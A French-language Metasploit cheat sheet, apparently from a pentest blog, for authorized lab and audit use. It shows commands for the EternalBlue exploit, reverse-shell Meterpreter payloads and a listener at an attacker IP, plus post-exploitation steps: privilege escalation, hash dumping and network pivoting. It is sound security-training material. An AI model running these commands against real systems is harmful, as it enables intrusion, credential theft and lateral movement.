04 oct. 20241 min de lecture
Cheat sheet — Metasploit Framework
Exploitation avec Metasploit : types de modules, recherche et configuration (RHOSTS/LHOST), payloads (reverse/bind, Meterpreter), gestion de sessions, commandes de post-exploitation (getsystem, hashdump, pivot) et multi-handler.
intermediate#metasploit#pentest#exploitation#meterpreter#cheatsheet
Mis à jour le 21 sept. 2026
Usage en lab / audit autorisé uniquement.
Metasploit est une plateforme d’exploitation. Chaîne type :
Recon → Scan → Exploit → Session → Post-exploitation. Lancement : msfconsole.
Types de modules
| Type | Usage |
|---|---|
exploit |
exploiter une vulnérabilité |
auxiliary |
scan / bruteforce |
payload |
code exécuté sur la cible |
encoder |
obfuscation |
post |
post-exploitation |
Sélection & configuration
search type:exploit ms17-010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.10.10.10 # cible
set LHOST 10.10.14.5 # attaquant (pour le reverse)
check # vérifier si vulnérable
exploit # (ou run)
Variables clés : RHOSTS/RPORT (cible), LHOST/LPORT (attaquant).
Payloads
- Reverse (cible → attaquant) :
windows/meterpreter/reverse_tcp - Bind (attaquant → cible) :
windows/meterpreter/bind_tcp - Meterpreter : shell avancé (upload/download, keylogger, pivot).
Sessions & Meterpreter
sessions # lister
sessions -i 1 # interagir
background # garder la session active
# dans Meterpreter :
sysinfo | getuid
ls | download f | upload f
getsystem # élévation de privilèges
hashdump # extraction de hashes
run autoroute # pivot réseau
Multi-handler (listener seul)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
exploit
Limites : signatures connues → souvent détecté par les AV/EDR. Rapide mais moins discret qu’une exploitation manuelle ; toujours vérifier la vulnérabilité et adapter le payload.